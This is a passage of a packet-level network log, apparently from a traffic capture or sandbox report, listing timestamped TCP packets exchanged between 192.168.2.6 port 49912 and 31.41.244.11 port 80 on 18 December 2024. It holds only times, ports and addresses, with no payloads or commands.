Dec 18, 2024 11:09:26.997934103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.998868942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.998883963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.998929024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.998929024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.999883890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.000000954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.000034094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.000075102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.000524044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.000535965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.001661062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.001698971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.001698971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.001847029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.001888037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.002609968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.002645016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.002950907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.002986908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.003690958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.003853083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.003886938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.003886938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.004770041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.004911900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.004944086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.004944086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.005613089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.005656004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.005805016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.005968094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.005979061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.006000996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.006000996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.006016970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.006656885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.006700039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.006747007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.006783962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.007642031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.007680893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.007742882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.007781029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.008632898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.008672953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.008730888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.009613991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.009655952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.009655952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.009767056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.009856939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.010608912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.010651112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.010690928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.011595964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.011625051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.011643887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.011643887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.012557030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.012602091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.012602091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.012666941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.013551950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.013593912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.013593912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.013631105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.013669014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.014560938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.014765024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.014802933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.014802933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.015486956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.015640020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.015675068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.015675068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.016859055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.016937971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.016944885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.016984940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.017931938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.017986059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.019035101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.019335985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021151066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021164894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021198988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021209002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021209002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021212101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021244049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021244049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021475077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021486998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.021524906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.021524906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.022408962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.022452116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.022547960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.022608995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.023334980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.023426056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.023472071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.024260044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.024605989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.024617910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.024701118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.025247097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.025402069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.025440931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.025440931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.026343107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.026355028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.026395082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.027301073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.027359009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.027461052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.027549028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.028242111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.028259039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.028316021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.028316021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.029154062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.029232025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.029300928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.029603004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.030294895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.030318022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.030375957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.031176090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.031233072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.031451941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.031578064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.032228947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.032390118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.032433033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.032433033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.033154964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.033307076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.033330917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.033376932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.034185886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.034198999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.034619093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.035128117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.035285950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.035321951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.035321951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.036099911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.036233902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.036303997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.036303997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.037111998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.037220001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.037276983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.037352085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.038024902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.038079023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.038187981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.038805008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.038991928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.039122105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.039136887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.039237976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.040203094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.040216923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.040258884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.040396929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.041102886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.041239023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.041280985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.041280985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.041964054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.042068958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.042124987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.042619944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.042875051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.043029070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.043066978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.043066978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.043921947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.044104099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.044111967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.044307947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.044953108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.044965982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.045008898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.045008898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.045830965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.045878887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.046099901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.046998978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.047043085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.047043085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.047136068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.047344923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.047885895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.048057079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.048074961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.048846960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.048890114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.048890114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.187578917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.187717915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.187742949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.187789917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.187967062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.188076019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.188123941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.188189983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.189095020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.189198017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.189224958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.189266920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.189994097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.190119982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.190140009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.190197945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.190902948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.190960884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.190990925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.191092968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.191893101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.191994905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.192017078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.192058086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.192864895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.192984104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.193025112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.193025112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.193861008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.193933010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.193948984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.194060087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.194833040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.194927931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.194953918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.194998980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.195794106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.195911884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.195935011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.196130991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.196809053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.196877003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.196962118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.197124958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.197856903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.197902918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.197957039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.198204041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.198779106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.198896885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.198924065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.199002981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.199861050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.199968100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.200007915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.200007915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.200809956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.200896025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.200917959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.200965881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.201709032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.201783895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.201821089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.201884985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.202673912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.202727079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.202759027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.202759027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.203684092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.203784943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.203823090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.203823090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.204644918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.204788923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.204833031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.204833031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.205615997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.205723047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.205769062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.205769062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.206614971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.206741095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.206784010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.206784010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.207587004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.207705021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.207746983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.207746983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.208600998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.208760977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.208803892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.208803892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.209566116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.209615946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.209707975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.210385084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.210558891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.210719109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.210761070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.210761070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.211559057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.211630106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.211672068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.211672068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.212522030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.212610006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.212650061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.212650061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.213582039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.213632107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.213666916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.214548111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.214591026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.214591026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.214745045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.215462923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.215501070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.215501070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.215562105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.216468096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.216490030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.216507912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.216507912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.217521906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.217561960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.217561960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.217683077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.217725039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.218646049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.218810081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.218846083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.218846083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.219511032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.219584942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.219634056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.219634056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.220411062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.220519066 CET	80	49912	31.41.244.11	192.168.2.6
